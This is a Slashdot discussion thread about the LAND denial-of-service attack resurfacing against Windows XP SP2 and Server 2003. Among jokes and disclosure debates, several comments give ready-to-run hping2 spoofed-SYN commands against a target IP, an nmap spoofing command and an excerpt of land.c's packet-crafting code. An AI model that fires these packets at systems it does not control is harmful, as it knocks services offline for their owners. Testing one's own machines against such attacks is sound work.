  19. Safest OS by Virtual+Karma · · Score: 5, Funny

    Windows is one of the safest OS around (and to keep it that way it is advised that the computer should not be connected to internet or any other network for that matter)

    1. Re:Safest OS by Terrasque · · Score: 1, Funny

      Including the power net.

      --
      It's The Golden Rule: "He who has the gold makes the rules."
    2. Re:Safest OS by DavidTC · · Score: 1
      Windows computers are at their safest if they are in a box at the store.

      And they're cheaper that way, too.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    3. Re:Safest OS by drinkypoo · · Score: 1

      You laugh, but Windows NT 4.0 was rated C2 secure - as long as it wasn't plugged into the network. I believe the machine also had to be set not to boot from external devices, and the BIOS password-protected.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    4. Re:Safest OS by nzkbuk · · Score: 1

      You're forgetting the case has to be locked so that the bios couldn't be reset.

      Not to nitpick, and I can't remember the exact spec, but it wasn't any copy of Windows NT 4.0 on any hardware. It was Windows NT 4.0 SP# running on specific hardware.
      The reason for the hardware spec in the security rating was drivers run as part of the kernel.

  20. Microsoft Notified by Nom+du+Keyboard · · Score: 4, Funny
    Ethic:
    Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community.

    Of course they didn't reply. They're under LAND attack, and your message is caught in the server. You must have sent them a proof-of-concept, so what did you expect?

    --
    "It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
  21. What is the LAND attack? by fizbin · · Score: 5, Informative
    Quoting from http://www.insecure.org/sploits/land.ip.DOS.html:
    i recently discovered a bug which freezes win95 boxes. here's how
    it works: send a spoofed packet with the SYN flag set from a host, on an open
    port (such as 113 or 139), setting as source the SAME host and port
    (ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock
    up.
    So it's a way to either remotely lock up or reboot a target machine. I would assume (not having, you know, tried it or anything) that this includes most windows-based webservers.
    1. Re:What is the LAND attack? by afidel · · Score: 1

      Hehe, so he's saying that Windows XP SP2 and Windows Server 2003 are vulnerable to WinNuke? Wow, MS patched that for Windows 95 pretty quickly, only took them a month or two. Before the patch came out we had all sorts of fun with people. One kid in our dorm was so hated that multiple people had scripts running on regular intervals to nuke his PC. Needless to say he had to go to residence services to get a new IP address which he failed to share =)

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    2. Re:What is the LAND attack? by shippo · · Score: 1

      If the web server is behind a firewall with some form of spoofing protection enabled, it shouldn't be a problem.

    3. Re:What is the LAND attack? by Anonymous Coward · · Score: 0

      and locally?

    4. Re:What is the LAND attack? by B2382F29 · · Score: 1

      I remember we sat outside my dorm room and had a ping running on another guy's computer. Everytime it came back on we celebrated and nuked it, and opened another bottle of beer. That guy was a real Microsoft fanboy. After much beer he came outside and said something along the lines "Windows sucks, it crashes even when i am trying to make a fresh install".

      Ahhh.... memories.... :-)

      --
      Move Sig. For great justice.
  22. I know its been around, but...Linking to source? by Tmack · · Score: 2, Insightful
    I know the land attack is old, but still, linking to a .c ? Why not link to the description of the attack and let that be enough. I was not aware /. was a scriptkiddie toolz warehouse. As stated by the article, there are still probably a bunch of machines this will affect, and putting a link directly to LAND.c on the main page probably isnt such a good idea. Whats next, root kits?

    Tm

    --
    Support TBI Research: http://www.raisinhope.org
  23. Open ports by ca1v1n · · Score: 4, Insightful

    Of course, some windows machines need to have open ports, like, say, if they're offering *services*. So really, your mundane desktop need not be affected. It's the production server you should be quite terrified about.

    1. Re:Open ports by Vancorps · · Score: 1

      Cause production servers are connected directly to the Internet completely open for all to see. Sorry, but this doesn't scare me one bit. There is a reason you use multiple approaches to security.

    2. Re:Open ports by Anonymous Coward · · Score: 0

      Of course they are connected to the internet, what do you think IIS is for? Anyone who has an IIS server that is accessable from the Internet which is very common is vulnerable. Just check out Netcraft if you don't believe me.

    3. Re:Open ports by Anonymous Coward · · Score: 0
      There is a reason you use multiple approaches to security.

      The reason being that the "security" in your operating system doesn't work?

    4. Re:Open ports by jschottm · · Score: 1

      Cause production servers are connected directly to the Internet completely open for all to see.

      That's exactly the kind of idiocy that let Blaster et al run amuck on office networks. Having a firewall doesn't mean that your inside systems are trustworthy and protected, and that sense of false security leads nowhere good. Internal computers may be compromised, the VP's laptop may inadvertantly be acting as a wireless access point (let's say their kid borrowed it and set it up to provide wireless access to the DSL connection for his buddies without telling the parent what they'd done)....

    5. Re:Open ports by Vancorps · · Score: 1
      And this effects web servers how? Last I checked most people don't put their external facing webserver on the same network as their VPs laptop.

      We were talking about this scaring people with production servers and I was stating the issue is moot for most setups, granted, not all, but most.

    6. Re:Open ports by northcat · · Score: 2, Insightful

      Er, you're forgetting the millions of websites whose purpose it is to be connected to the internet. And have port 80 open, which will make them vulnerable. And a lot of production servers which need to be connected the internet for some reason. And careless admins.

    7. Re:Open ports by DavidTC · · Score: 1
      Yeah, what kind of idiotic setup has a server that provides services to the internet via open ports?

      Wait a minute...every single mail and web server does that! That's the defination of an internet server!

      So the question is, I guess, what kind of idiotic setup has a server that runs Windows?

      --
      If corporations are people, aren't stockholders guilty of slavery?
    8. Re:Open ports by Anonymous Coward · · Score: 0
      We were talking about this scaring people with production servers and I was stating the issue is moot for most setups, granted, not all, but most.


      No, it isn't moot. All it takes is a careless admin with a laptop to connect to the "wrong" network while harboring a virus to take down an entire data center. Want proof? You've already been smacked in the head with it in the form of Blaster.

      Tell the guy in Norway I was chatting with one day who had 150 SQL servers doing the Macarena that it's moot. Shit happens. Sometimes the planets align and your outer security fails. Sometimes somebody fucks up and hooks up an unauthorized machine. Murphy's Law holds here. I'm not anti-MS (just under half of our servers are MS), but this is pure stupidity.. to the point of nearly being criminal.

      You know, you've been spending an awful lot of time defending Microsoft on this one... you're not an MS fanboi, are you? Oh wait, that's like asking if the Pope's Catholic.
    9. Re:Open ports by Vancorps · · Score: 1
      I am not defending Microsoft, this is issue is so tired I've about given up. Everyone keeps making assumption after assumption and it accomplishes nothing. So far almost everyone has tried to put words in my mouth and accuse me of defending a company when I'm merely trying to balance this out and put everything into perspective.

      They made a mistake eight years ago, they repeated said mistake except this time a safeguard they put in place mitigated the risk. Its not a perfect solution obviously but it sure sounds better than just repeating the exact same thing again. No one acknowledges that this company has done any work and practically everyone seems to think they have to be perfect.

      As for blaster, I manage 45 servers, 3 of them are MS SQL, 1 is Oracle, and 1 is mySQL. I run Solaris, Gentoo, and yes, lots of Windows. I see many problems universally. I don't care what platform they are, I care that they perform the task I give them. I haven't had a hiccup in 4 years and yes, I am connected to the Internet running fulltime with a website that has seen a few hits.

      Lazy admins exist, MS makes the damage they can cause much greater but in the end I blame the admin for not properly securing their website. You do what you can to limit your risk and bashing a company that is trying to shift its focus on security is not going to help anybody.

      I've spent far too much time defending my position. It is obvious that is has fallen on not only def, but hostile ears. It is most pointless for me to continue.
  24. Can anyone confirm? by Anonymous Coward · · Score: 5, Interesting

    A friend showed this to me a few days ago and I was unable to reproduce the attack over the LAN, both with my own code and some code of the original LAND found with google. Both were run from linux by opening a raw socket, filling in ip and tcp headers including checksums using the structs in ip.h and tcp.h, and sending with sendto(). In both cases ethereal would show the packet as recieved but the machine would operate normally.

    1. Re:Can anyone confirm? by IWannaBeAnAC · · Score: 1

      When exactly did you do this? The vulnarability was only announced on Saturday.

    2. Re:Can anyone confirm? by bluelip · · Score: 2, Informative

      On my XP box w/ SP2 + no firewall:
      for up to 30 seconds after the attack , I can move the mouse, but cannot click on anything.

      All network activity stops during that time also.

      --

      Yep, I never spell check.
      More incorrect spellings can be found he
    3. Re:Can anyone confirm? by bluelip · · Score: 4, Informative

      The problem might be w/ your code.

      A test listed in an above comment of mine worked for my box. DL hping2 and try:

      hping2 aaa.bbb.ccc.ddd -s 135 -p 135 -S -a aaa.bbb.ccc.ddd

      Obviously, replace aaa.bbb.ccc.ddd w/ the ip address of the workstation you'd like to test

      --

      Yep, I never spell check.
      More incorrect spellings can be found he
    4. Re:Can anyone confirm? by Anonymous Coward · · Score: 0

      Yeah, same here, I tried the exploit on both a Windows XP SP 2 and a SP 1 from a linux machine, and it doesn't work. I think this is a joke :-)
      Has anybody else tried it succesfuly?

    5. Re:Can anyone confirm? by Anonymous Coward · · Score: 1, Informative

      Sorry, I am the same anonymous coward replying to myself. It does affect at least SP2, as someone mentioned above icons can not be clicked during 30 seconds, similarly ping stops to work during that time period. Afterwards it goes back to normal, so it doesn't crash it but it does affects it somehow.

    6. Re:Can anyone confirm? by nmos · · Score: 1

      I just tried this against a WinXP SP1 box running under VMware and so far it seems unaffected. Finally, something that DOESN't work under VMware:)

    7. Re:Can anyone confirm? by Anonymous Coward · · Score: 0

      So are you trying to say that the vulnerability didn't exist until then? WTF?

    8. Re:Can anyone confirm? by IWannaBeAnAC · · Score: 1

      No, I'm asking how he knew about it ;-) He says he tried it a "few days ago", but the vulnerability became public knowledge exactly two days ago.

    9. Re:Can anyone confirm? by Anonymous Coward · · Score: 0

      this does nothing. this is not informative, it is incorrect.

    10. Re:Can anyone confirm? by bluelip · · Score: 1

      What is incorrect about it?

      --

      Yep, I never spell check.
      More incorrect spellings can be found he
    11. Re:Can anyone confirm? by Anonymous Coward · · Score: 0

      I can confirm it makes IIS and file sharing unresponsive for 10-20 seconds against Server 2003 Enterprise Edition. Pings seem unaffected...

    12. Re:Can anyone confirm? by Anonymous Coward · · Score: 0

      nmap *might* work too. something like this:
      nmap -D 10.0.0.1 -sI 10.0.0.2 -P0 10.0.0.1
      sends a flood of decoy packets from spoofed 10.0.0.1, suppresses the initial ping, and idle scans from spoofed 10.0.0.2. just an idea.

  25. Oh c'mon, that isn't fair. by Billy+Bo+Bob · · Score: 4, Funny

    8 years is hardly enough to figure out how to patch windows.

    Besides, like all everyone here says, it is the users own fault for not using a firewall. Having an expectation that 8 yr old attacks should be fixed is just unreasonable.

    WTF, are you all on crack?

    1. Re:Oh c'mon, that isn't fair. by The+Amazing+Fish+Boy · · Score: 1

      Besides, like all everyone here says, it is the users own fault for not using a firewall. Having an expectation that 8 yr old attacks should be fixed is just unreasonable.

      Firewall is ON by default. If you're going to turn it OFF, Windows warns you. Windows can't stop you from making your computer insecure if you want to. You could just as well make a Remote Desktop account with Admin priveleges and no password.

    2. Re:Oh c'mon, that isn't fair. by Billy+Bo+Bob · · Score: 1

      Firewall is ON by default. If you're going to turn it OFF, Windows warns you. Windows can't stop you from making your computer insecure if you want to. You could just as well make a Remote Desktop account with Admin priveleges and no password. What a load of BS. There is *NO* excuse for vulnerability to this. "Making your computer insecure"???? No, Microsoft made my computer insecure; my only foolishness was installing windows. A firewall is an additional protection device, not the primary one. Still being vulnerable to age-old attacks is simply irresponsible.

    3. Re:Oh c'mon, that isn't fair. by Anonymous Coward · · Score: 0

      No! On slashdot, everything is the user's fault.

    4. Re:Oh c'mon, that isn't fair. by m50d · · Score: 1

      That's crap. If you want to, you know, actually contribute to the internet, you need to have ports open, so you'll need holes in your firewall. If you don't, it would take a really braindead OS to be vulnerable without you having told it to run services, and a really idiotic person to turn on services they didn't want public, in which case they probably wouldn't manage to turn them on. (Personally I think everyone who stays behind a firewall should be taken out and shot. That ought to sort the IPv4 address shortage.)

      --
      I am trolling
    5. Re:Oh c'mon, that isn't fair. by The+Amazing+Fish+Boy · · Score: 1

      No! On slashdot, everything is the user's fault.

      Or Microsoft's.

    6. Re:Oh c'mon, that isn't fair. by drinkypoo · · Score: 1

      People sitting behind firewalls are already the solution to the IPv4 address shortage - NAT is generally supplied by the firewall. Anyway, you're full of shit in other ways - you can contribute by contributing to some other resource on the 'net, either an existing one or one you pay to host, and use your home machine essentially as a terminal. There is no reason whatsoever that your personal desktop machine need have any incoming ports open to allow you to collaborate on the internet.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    7. Re:Oh c'mon, that isn't fair. by b1t+r0t · · Score: 2, Funny
      WTF, are you all on crack?

      Some of us are on OS X. Is that close enough?

      --

      --
      "Open source is good." - Steve Jobs
      "Open source is evil." - Microsoft
    8. Re:Oh c'mon, that isn't fair. by m50d · · Score: 1

      Yes, but they're mostly home users with only one computer behind the firewall. OK, shooting is a bit harsh, maybe we could move them all to a different ISP where the whole ISP has just one IP. That'd be good, easy to block them accessing things too. Anyway, while you can host elsewhere, why can't you host at home too? The internet was meant as a collaboration between equals, not a few big colos serving everything and a bunch of clients all over the place. If you're not serving something, you don't deserve to be on the internet. OK, being too harsh again there. What I'd like is some form of distributed hosting, like bittorrent but for the web. Big companies wouldn't need it, but something like wikipedia - everyone carries a bunch of articles, the people with the same article somehow contact each other so that when one of them quits they find someone else to also host it. Some clever routing allows links to end up at the right server. But I doubt many people would run it.

      --
      I am trolling
    9. Re:Oh c'mon, that isn't fair. by drinkypoo · · Score: 1

      It would certainly be a boon if static documents were served from a P2P system. The web archive system you propose already exists - in freenet. The problem of course is that it's hard to make such a thing responsive...

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  26. so all windows servers are vulnerable to this? by leuk_he · · Score: 1

    if i read correct:

    Sending TCP packet with SYN flag set, source and destination IP address and source
    and destination port as of destination machine, results in 15-30 seconds DoS condition.


    SO sending every 10 seconds such a packet to a windows internet (http) host will make it disappear form the internet? DOS attack? that is lame.

  27. Retro! by bigtallmofo · · Score: 5, Funny

    I remember the days of Ping of Death, Land, Teardrop, New Tear, Bork, etc.

    Now that my WinXP SP2 system is susceptible to land again, it's getting me into a nostalgic mood. I think I'll go play Ms PacMan on my MAME cabinet now.

    --
    I'm a big tall mofo.
    1. Re:Retro! by gosand · · Score: 1
      I think I'll go play Ms PacMan on my MAME cabinet now.


      Don't you mean PacLAND? (groan) Is that running on a Windows box connected to the net? Please post your IP, for uhhh, no particular reason.

      --

      My beliefs do not require that you agree with them.

  28. Before the M$ bashing begins wholesale... by go3 · · Score: 2, Funny

    Just remember that these people running 2003/XP without a firewall would also be running *NIX with a root password of "password". Mine is 12345

    1. Re:Before the M$ bashing begins wholesale... by Fuzzums · · Score: 1

      people running WXP without firewall don't use *NIX :)

      --
      Privacy is terrorism.
    2. Re:Before the M$ bashing begins wholesale... by Ulric · · Score: 1

      A better comparison would perhaps be that they would be running Unix without a firewall. It can be done, with reasonable security even, although perhaps not a good idea.

    3. Re:Before the M$ bashing begins wholesale... by Anonymous Coward · · Score: 0

      That's the same code on my luggage!

    4. Re:Before the M$ bashing begins wholesale... by Vague+but+True · · Score: 1

      ...Mine is 12345...
      I better change the code on my luggage.

      --

      I'm not a doctor, but I play one in bed.

    5. Re:Before the M$ bashing begins wholesale... by randomencounter · · Score: 1

      Hey, that's the combination to my luggage!

      --
      Forget diamonds, copyright is forever.
  29. Am I vulnerable? by SteelV · · Score: 3, Interesting

    I have yet to install SP2 because I heard it hurts performance of some computer games, which is mainly what I use my windows PC for.

    I am otherwise up-to-date with windows updates. I have a linksys router for my internet connection, but no software firewall.

    Am I vulnerable to this and other issues? Should I update to SP2 already (the first time I tried it crashed while installing, didn't even work, but I could prob. get it to work next time). Or should I stay with SP1 for games?

    Thank you.

    1. Re:Am I vulnerable? by Anonymous Coward · · Score: 0

      Please make sure to turn on port forwarding for your Linksys and provide your public IP. We'll let you know.

    2. Re:Am I vulnerable? by FunnyLookinHat · · Score: 0

      Update it. I haven't lost performance with any of my games... chances are that your system with automatic updates has already partially installed SP2.

    3. Re:Am I vulnerable? by Anonymous Coward · · Score: 0

      My only reaction to your comment can be summed up as follows: "OEH NOES A MICROSOFT UPDATE MIGTH REMOVE 2FPS FROM MY FAVEZ GAME LOL"

      I hope you get the idea :)

    4. Re:Am I vulnerable? by Anonymous Coward · · Score: 0

      I have yet to install SP2 because I heard it hurts performance of some computer games

      What games, how bad hurt, heard where? That's news to me.

    5. Re:Am I vulnerable? by rilister · · Score: 1

      hmmm. well, the last time I checked, a patch for the checkbox vulnerability (B824141)
      http://support.microsoft.com/?kbid=824141
      broke a couple of games of mine, including Black and White (which I still kinda enjoy).

      I understood SP2 would roll up all the Hotfixes including this, so I've avoided installing it.

      Anyone know if this incompatibility has been fixed?

      --
      'This writing business. Pencils and what-not. Over-rated if you ask me. Silly stuff. Nothing in it' - Eeyore
    6. Re:Am I vulnerable? by jacksonj04 · · Score: 1

      Update.

      A lot of the 'OMG I L0ST FR4MR3ATZ!!!!" was due to people going "Oh, a major Windows update" then actually looking for anything, however minor, to allow them to say "XPSP2 SUCZ DONT INST4LL LOLZ!!!!11!".

      For all of the 2fps an additional buffer check will cost, it's worth it.

      --
      How many people can read hex if only you and dead people can read hex?
    7. Re:Am I vulnerable? by SteelV · · Score: 1

      Thanks for the advice guys, I'll get SP2 in the next few days (just want to play all the way through Medal of Honor: Pacific Assault first in case something gets messed up!

  30. Re:What, is W gonna invade Redmond? by BigGerman · · Score: 1

    You are trolling of course but recently I was thinking WHAT IF an idealisticly-minded political leader gets right exposure to "free as in freedom" concept.. Not necessarely W mind you.

  31. Re:I know its been around, but...Linking to source by Anonymous Coward · · Score: 1, Funny

    The server has been slashdotted... guess it wasn't such a bad idea after all. Now fewer people can get to that file :)

  32. With the cdrom and floppy drive removed by vijaya_chandra · · Score: 1

    and the usb slots closed lest you should hurt your OS

  33. Two things of note: by AceJohnny · · Score: 2, Informative

    WTF is a LAND attack? From the source:
    "LAND attack:
    Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition."
    If I understand correctly, this means the vulnerable machine will attempt to synchronise a connection with itself?

    I find this quote enlightening:
    "Ethic:
    Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community. "

    So the vulnerability was made public. So exploits are going to be made. However, if Microsoft, who claim to have shifted more focus to security issues, had even acknowledged this report, the vulnerability wouldn't have become public so soon without a patch.
    Kinda worries you about the way computer security is handled, doesn't it?

    --
    Misleading titles? Inflammatory blurbs? Keep in mind that Slashdot is a tabloid.
    1. Re:Two things of note: by Anonymous Coward · · Score: 0

      thing is that its been about for ages
      http://www.insecure.org/sploits/land.ip.DOS. html
      Vulnerable Systems: Windows95, Windows NT 4.0, WfWG 3.11, FreeBSD
      Date: 20 November 1997

    2. Re:Two things of note: by Anonymous Coward · · Score: 1, Insightful

      The vulnerability was made public SEVEN YEARS AGO. The exploit has been around longer than that.

      The only thing that worries me is about the way MICROSOFT handles computer security.

      Please remove your head from your ass before posting inane comments. ...either that or you're in desperate need of a Tardis.

      (how the original post was modded "insightful" is utterly beyond me .. oh. wait. no it's not... this is /.)

    3. Re:Two things of note: by Anonymous Coward · · Score: 0

      Microsoft can deny ever getting it and can sue him or have him arrested for making it public. This way they can get off looking like a victim and make the guy who found it look like the bad guy.

  34. Really? You don't say. by Squishy+Eyeball+Jeff · · Score: 0, Flamebait

    In other news, most homes are vulnerable to the classic BREAKIN attack if doors are left unlocked.

    Film at 11.

  35. In other news.... by AviLazar · · Score: 1

    leaving your firewall, spamblocker, pop-up blocker, and virus protection programs off will leave your computer vulnerable to serious attacks....

    --

    I mod down so you can mod up. Your welcome.
    1. Re:In other news.... by Anonymous Coward · · Score: 0

      Well, I don't have any of those blocker things on my work station. Why would I need them?

  36. Big deal... by 14erCleaner · · Score: 2, Interesting
    Denial of service attacks are so twentieth-century.

    We've moved on to more productive uses of vulnerable machines (e.g. spam zombies). Who wants to do a DOS attack on a machine without a firewall anyway? What's the point?

    --
    Have you read my blog lately?
    1. Re:Big deal... by Anonymous Coward · · Score: 1, Insightful

      I think the point is that this DOS exploit is so easy using one machine that it's begging for kiddies to do it.

    2. Re:Big deal... by wx327 · · Score: 1
      We've moved on to more productive uses of vulnerable machines (e.g. spam zombies). Who wants to do a DOS attack on a machine without a firewall anyway? What's the point?

      Maybe we want to DOS the zombies?

    3. Re:Big deal... by Kaenneth · · Score: 1

      Sounds like I good idea: write a program that whenever it's probed by a zombie, returns the probe with a LAND attack.

      also serve a single web page, stating "LAND vulnerablity test server: to test you machine for vulnerability, open a connection to port XXX at this IP."

  37. Maybe he should change his name... by Giggle+Stick · · Score: 1

    to Dejan "Vue" Levaja! Thank you, I'm here 'till Thursday.

  38. Everyone has good points, and yet.... by writermike · · Score: 4, Funny

    Experts say servers are vulnerable to the infamous CAFE attack. One drop can take down an entire network!

    Granted you have to have a computer next to a cup of coffee for this to work, but MANY PEOPLE DO!!!!!!!!!!

    --
    If Nalgene water bottles are outlawed, only outlaws will have Nalgene water bottles.
  39. Want to do your own testing? by bluelip · · Score: 4, Informative

    Grab a copy of hping2 and try:

    hping2 aaa.bbb.ccc.ddd -s 135 -p 135 -S -a aaa.bbb.ccc.ddd

    Obviously, replace aaa.bbb.ccc.ddd w/ the ip address of the workstation you'd like to test

    --

    Yep, I never spell check.
    More incorrect spellings can be found he
    1. Re:Want to do your own testing? by Anonymous Coward · · Score: 1, Informative

      doesnt look like it worked on my win2k3 server. also tried it on an xp box as well juts gives me

      [send_ip]sendto: 10004

      which i have no idea if it works or not becuase i never used this before.

    2. Re:Want to do your own testing? by swanswan · · Score: 1
      hping2 the ip address of the workstation you'd like to test -s 135 -p 135 -S -a the ip address of the workstation you'd like to test

      Does not work.

    3. Re:Want to do your own testing? by bluelip · · Score: 1

      What doesn't work? what do you expect the results to be?

      What platform are you running hping2 from?

      Is there any net equipment between you and the workstation?

      --

      Yep, I never spell check.
      More incorrect spellings can be found he
    4. Re:Want to do your own testing? by Anonymous Coward · · Score: 0

      hping -S -a 192.168.1.1 -p 139 -s 139 192.168.1.1 -c 3

      Done from server -> my current workstation, cpu load goes through the roof a few seconds for every packet received.
      I have WinXP + SP2, firewall off.

  40. MOD PARENT UP ! by mirko · · Score: 4, Informative

    BSDI 2.1 (vanilla) IS vulnerable
    BSDI 2.1 (K210-021,K210-022,K210-024) NOT vulnerable
    BSDI 3.0 NOT vulnerable
    Digital UNIX 4.0 NOT vulnerable
    FreeBSD 2.2.2-RELEASE IS vulnerable
    FreeBSD 2.2.5-RELEASE IS vulnerable
    FreeBSD 2.2.5-STABLE IS vulnerable
    FreeBSD 3.0-CURRENT IS vulnerable
    HP-UX 10.20 IS vulnerable
    IRIX 6.2 NOT vulnerable
    Linux 2.0.30 NOT vulnerable
    Linux 2.0.32 NOT vulnerable
    MacOS 8.0 IS vulnerable (TCP/IP stack crashed)
    NetBSD 1.2 IS vulnerable
    NeXTSTEP 3.0 IS vulnerable
    NeXTSTEp 3.1 IS vulnerable
    Novell 4.11 NOT vulnerable
    OpenBSD 2.1 IS vulnerable
    OpenBSD 2.2 (Oct31) NOT vulnerable
    SCO OpenServer 5.0.4 NOT vulnerable
    Solaris 2.5.1 IS vulnerable (conflicting reports)
    SunOS 4.1.4 IS vulnerable
    Windows 95 (vanilla) IS vulnerable
    Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable

    --
    Trolling using another account since 2005.
  41. Comment removed by account_deleted · · Score: 2, Insightful

    Comment removed based on user account deletion

  42. Re:I know its been around, but...Linking to source by _bug_ · · Score: 3, Insightful

    I know the land attack is old, but still, linking to a .c ? Why not link to the description of the attack and let that be enough. I was not aware /. was a scriptkiddie toolz warehouse. As stated by the article, there are still probably a bunch of machines this will affect, and putting a link directly to LAND.c on the main page probably isnt such a good idea. Whats next, root kits?

    Honestly. Why don't you just stick your head in the ground every time there's a problem. If you don't see it, it can't be real.

    C'mon. How much more difficult is it to go to google, type in "land.c" and get the source yourself?

    Do you honestly think people visiting /. don't know how to use a search engine?

    Besides, any good system administrator has to assume that every user out there has access to the latest, greatest, and most sophisticated tools to get into their systems.

    And this is an 8 year-old exploit to boot.

    OH NOES! He linked to the h4x0r f13lz! Whut k4nz W3 DOOZ?! C4llz 0wtz t3h wh4mbul4nc3!!!11!!

    It shouldn't matter a single bit what gets linked to. The information is out there, anyone who wants to find it will. You can't try and suppress it. And to say that linking to it makes it easier... what did I just say about search engines? Oh gee, I've been saved a whole 5 seconds from going to google and finding it myself. Maybe all windows machiens will be patched within that time?

  43. "LAND" war in Asia ... by YetAnotherName · · Score: 4, Funny

    Vizzini: You only think I guessed wrong - that's what's so funny. I switched glasses when your back was turned. Ha-ha, you fool. You fell victim to one of the classic blunders, the most famous of which is "Never get involved in a land war in Asia", but only slightly less well known is this: "Never go in against a Sicilian, when *death* is on the line.". Hahahahahah. [Vizzini falls over dead]

    (Yeah, off topic, I don't care.)

    1. Re:"LAND" war in Asia ... by Anonymous Coward · · Score: 0

      Damn! I read "Vizzini" and knew instantly the reference (without reading anything more). I've seen "The Princess Bride" way too many times! But it's so much fun...

  44. And source isn't useful to many people by Sycraft-fu · · Score: 4, Insightful

    I'm not a programmer, so looking through a C file isn't likely to give me any useful information, unless it's in comments at the beginning of the code. What's more, I imagine even programmers would rather just hear a summary than have to sit there and look through a bunch of code to figure out what it does.

    I mean ethical issues aside, it's just not that helpful to most people. I'm sure most people though "WTF is a LAND attack?" and cliked on the link to see. Getting a C file, is probably not the answer they wanted, espically given that it doesn't seem to be transfering, so I can't even see if it has useful comments or not.

    When doing /. stories, link to relivant and if possible, concise descriptions of terms that people are likely to be unfarmilar with. If you want to provide a link to source, do it seperatly and note it as such.

    1. Re:And source isn't useful to many people by Maestro4k · · Score: 1
      I'm not a programmer, so looking through a C file isn't likely to give me any useful information, unless it's in comments at the beginning of the code. What's more, I imagine even programmers would rather just hear a summary than have to sit there and look through a bunch of code to figure out what it does.
      • You did note you couldn't get it to download but if you had you'd have seen the comments at the beginning of the file explain the Land attack in summary, then the code follows. I didn't even have to look at the code to see what it was Land does in fact, so the land.c file fulfills your requirements.
    2. Re:And source isn't useful to many people by bagjuice · · Score: 1

      I was interested by the source code because i couldn't believe it was as simple as it sounded. I saw a n eat paragraph describing the purpose of the source. If you can't understand that then I don't know what else you would want from /.

    3. Re:And source isn't useful to many people by dilvish_the_damned · · Score: 1

      The exploit has been made public for some years now, the code has been available for the same amount of time. The description of the attack is simple enough no code is needed to reproduce the attack. We regularly test every release of our products against LAND and many other attacks, not because we beleive we would ever be vulnerable, but we would be mightily embarassed if we were.
      No one expected recent OSs to be vulnerable so hardly anyone outside of MS has tested for it (and I guess neither did MS), but if I were them, I would be very embarrassed.

      --
      I think you underestimate just how much I just dont care.
    4. Re:And source isn't useful to many people by Anonymous Coward · · Score: 0

      Probably you are on the wrong news page! I found the securityfocus summary and the source code most helpfull.

  45. UNLABELED too. by Ungrounded+Lightning · · Score: 4, Insightful

    I know the land attack is old, but still, linking to a .c ? I was not aware /. was a scriptkiddie toolz warehouse.

    Not only that, it was unlabeled. That means anybody who follwed the link now has a copy of the malware in their machine's webcache, minimum. And if they saved it (to keep the list of vulnerable configurations, for example) they have the malware itself.

    This simultaneously puts a bunch of slashdot readers at legal risk (from false prosecution and/or in-court character assasination, based on evidence from a siezed computer) and gives real baddies plausible deniability.

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
    1. Re:UNLABELED too. by __aaijsn7246 · · Score: 1

      I'd say that Windows 2003 and XP SP2 fit the definition of malware more land.c does.

      Afterall, land.c still works and it's almost 8 years old now! Can't say the same about versions of windows which are that old :P

    2. Re:UNLABELED too. by Anonymous Coward · · Score: 1, Informative

      You're a dork.

      If you can't think of 100 good reasons why a security professional or curious sysadmin would want a copy of this code, which, I'll note, has been around in this form for almost 8 years (to the point where it won't even COMPILE on a modern system), then you should put your computer back in its box and ring UPS to get it shipped back to the manufacturer, because you are too stupid to own it.

      To elaborate, because you're obviously not so quick on the uptake; 'there is nothing inherently wrong with possessing a tool.' To elaborate further, this snippet of code can be used to verify that any vendor-supplied patch does, in fact, do what it says, amongst other things.

      Think before spouting your mouth off. Your post espouses all of the bad ideas behind laws such as the DMCA. With people like you doing the thinking, is it little wonder that such laws get passed?

  46. What about servers? by Ulric · · Score: 1

    Looking at the code, this looks almost like something a firewall might let through. Let's say you have a web server. Obviously you must open up for syn packets to port 80. Would the Windows builtin firewall catch this?

    1. Re:What about servers? by Moloch666 · · Score: 1

      If you have a firewall with no ports open, then communication attempts on port 80 will fail no matter what. If you have port 80 open and a web service listening, then obviously there will be a response. Very simple.

      --
      Understanding is a three-edged sword. -- Kosh Naranek
    2. Re:What about servers? by Ulric · · Score: 1

      Right, but the problem with the land attack is that the server will try to "respond" to itself, which results in a self-DOS. Do you mean to say that a Windows web server is vulnerable even with the firewall on?

    3. Re:What about servers? by Moloch666 · · Score: 1

      A little late in the game for a reply. But I think I see what you are saying. This is more of a matter of configuration. Usually a server has no need to contact itself using it's external IP address. This seems like a matter of: Should a properly configured firewall block packets originating from itself? Are there times in normal operation that this is ok? Who knows how the Windows firewall is setup. I doubt there is a way to change that behavior.

      --
      Understanding is a three-edged sword. -- Kosh Naranek
  47. Does it work? by ajaf · · Score: 1

    I haven't read any comment saying that this really works, could anyone confirm this?

    --
    ajf
    1. Re:Does it work? by Anonymous Coward · · Score: 0

      well... Compile'n try... ;-)

    2. Re:Does it work? by ajaf · · Score: 1

      I don't have any windows box to try it ;)

      --
      ajf
  48. Re:I know its been around, but...Linking to source by Anonymous Coward · · Score: 0

    ...so we all can modify the code and make a worm.land attack...

  49. Re:I know its been around, but...Linking to source by __aaijsn7246 · · Score: 4, Informative

    Security through obsecurity doesn't work. Here's the important part of the source :) Basically it just sends a SYN packet which has the target's address as the source and the destination (same port as well).

    ---snip---
    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->version=4;
    ipheader->ihl=siz eof(struct iphdr)/4;
    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->id=htons(0xF1C);
    ipheader->t tl=255;
    ipheader->protocol=IP_TCP;
    ipheader->sad dr=sin.sin_addr.s_addr;
    ipheader->daddr=sin.sin_a ddr.s_addr;

    tcpheader->th_sport=sin.sin_port;
    tcpheader->th _dport=sin.sin_port;
    tcpheader->th_seq=htonl(0xF1 C);
